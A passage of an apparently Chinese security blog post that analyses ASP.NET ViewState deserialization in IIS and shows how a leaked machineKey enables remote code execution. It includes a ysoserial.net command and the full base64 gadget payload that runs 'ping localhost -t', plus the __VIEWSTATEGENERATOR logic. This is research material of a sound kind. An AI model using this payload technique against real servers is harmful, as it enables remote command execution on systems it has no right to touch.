15px;letter-spacing: 0.1em;">Page类有一个RequestViewStateString属性</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="136" data-backw="319" data-ratio="0.4270833333333333" title="null" data-type="png" data-w="672" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=8bdeacf2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuE2Ps5n5Lb3iciaSibqYrEhRoh7lqzqXK1y4VYMHWhsdTshtLv2HYxMEykg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">从request中拿到<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">__VIEWSTATE</code></p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="211" data-backw="319" data-ratio="0.6614035087719298" title="null" data-type="png" data-w="1140" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=885d7958&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuEc3a1ZmhxzZrxSibkg8E2x8QR5m9zSlH8zakuMaAnGxVMia3tofolr4iaw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">在<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">System.Web.dll!System.Web.UI.HiddenFieldPageStatePersister.Load()</code>中获取<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">__VIEWSTATE</code>，交给objectstateformatter进行反序列化。所以请求中只要有<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">__VIEWSTATE</code>就会反序列化。</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">到这里我们清楚了，iis默认被动解析viewstate，如果禁用mac并且没有启用加密可以直接rce。但是实际环境都是默认启用mac校验，并且一般会启用加密，所以接下来看一下启用加密的viewstate怎么利用。</p><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">启用加密的利用</h1><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">启用加密需要配置machineKey字段，page中<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">ViewStateEncryptionMode=&#34;Always&#34;</code>时会自动生成machineKey。</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;"><span style="box-sizing: border-box;color: rgb(0, 153, 38);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">微软文档中<sup style="box-sizing: border-box;">[2]</sup></span>提到在web.config中可以配置如下来自动生成machineKey。web.config中默认就是这个，效果等同于不写。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">machineKey</span> </span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">validationKey</span>=<span class="code-snippet__string">&#34;AutoGenerate,IsolateApps&#34;</span> </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">decryptionKey</span>=<span class="code-snippet__string">&#34;AutoGenerate,IsolateApps&#34;</span> </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">validation</span>=<span class="code-snippet__string">&#34;AES&#34;</span> </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">decryption</span>=<span class="code-snippet__string">&#34;Auto&#34;</span> /&gt;</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">viewstate用于身份验证的情况下，每次都会根据machineKey的配置来加密解密。而每台机器生成的key都不一样，所以在大型应用比如sharepoint中会进行手动配置machineKey。而手动配置如果我们拿到了machineKey的值，就可以对其利用。</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">一个手动配置的例子如下</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">machineKey</span> <span class="code-snippet__attr">validationKey</span>=<span class="code-snippet__string">&#34;70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0&#34;</span> <span class="code-snippet__attr">decryptionKey</span>=<span class="code-snippet__string">&#34;34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887&#34;</span> <span class="code-snippet__attr">validation</span>=<span class="code-snippet__string">&#34;SHA1&#34;</span> <span class="code-snippet__attr">decryption</span>=<span class="code-snippet__string">&#34;AES&#34;</span>  /&gt;</span></span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">用ysoserial.net生成</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">PS <span class="code-snippet__symbol">E:</span>\code\ysoserial.net\ysoserial\bin\Debug&gt; .\ysoserial.exe -p viewstate -g TextFormattingRunProperties -c <span class="code-snippet__string">&#34;ping localhost -t&#34;</span> --validationkey=<span class="code-snippet__number">70</span>DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B<span class="code-snippet__number">0</span> --validationalg=SHA1 --islegacy</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">/wEyngcAAQAAAP/<span class="code-snippet__regexp">//</span><span class="code-snippet__regexp">/8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADABTw/e</span>G1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi0xNiI/Pg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI+DQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQogICAgPHNkOlByb2Nlc3M+DQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgcGluZyBsb2NhbGhvc3QgLXQiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+C+yvvPy4DNhXXbZoH56OR6lLdT4o</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">将IIS的应用程序池设置为.net4.5，不然会报错找不到TextFormattingRunProperties的依赖</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="191" data-backw="319" data-ratio="0.5998608211551845" title="null" data-type="png" data-w="1437" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=4d315b86&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuE37L9VSlbkThJ0UFTzD3lkX3LdKFyzhu5maY1E6n590lzr0q7HGpianA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">这边报错强制类型转换错误</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="154" data-backw="319" data-ratio="0.4826610049539986" title="null" data-type="png" data-w="1413" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=c6255a6e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuEYGaOBPib0acIm5lGjviaA2AnYjBic16zPicKwAdYCQy9pTE1MGMfO1sgLQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">实际上是已经执行了cmd的</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="225" data-backw="319" data-ratio="0.7052896725440806" title="null" data-type="png" data-w="794" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=05747787&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuES5G5QeyZT3PlUXiaVmPNUS5g1KokNWKpRIn2tSjic9jQURGu7QpBVDtg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">__VIEWSTATEGENERATOR字段</h1><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">大腿师傅问我<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">VIEWSTATEGENERATOR</code>字段对上的话，machineKey是不是一样。以及__VIEWSTATEGENERATOR是不是根据path和apppath生成的。</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">在objectstateformatter的反序列化方法中，启用加密会进入GetDecodedData解密viewstate</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="158" data-backw="319" data-ratio="0.49589322381930184" title="null" data-type="png" data-w="974" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=00918648&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuEO4tbqXAH1TEQxabcqBD21KGufIcEA1JNQe6D0TT0XYo5EruhkCG2eg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">其参数有一个GetMacKeyModifier()方法的返回值</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="177" data-backw="319" data-ratio="0.5545454545454546" title="null" data-type="png" data-w="770" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=5d09c1f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuExO1dVo9AllkPAibWNruA8PjdS2SKXAXJicNyDzNDbdK9z3VicVop98vBg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">它返回一个字节数组，其中GetClientStateIdentifier来用TemplateSourceDirectory和classname计算hashcode</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="42" data-backw="319" data-ratio="0.13049267643142476" title="null" data-type="png" data-w="751" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=c07bf2ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuEp9d0gtzZUFiaTpOLTyjjG6mVibGOFs1PE1UibSYEOM7P2aJXZTqqGMFmA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">接着判断viewStateUserKey是否为空，如果不为空就使用_page.ViewStateUserKey，为空就用GetClientStateIdentifier()生成的。</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">也能用<strong style="box-sizing: border-box;color: rgb(255, 95, 46);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">VIEWSTATEGENERATOR字段，因为</strong>VIEWSTATEGENERATOR字段就是用GetClientStateIdentifier计算的。</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, 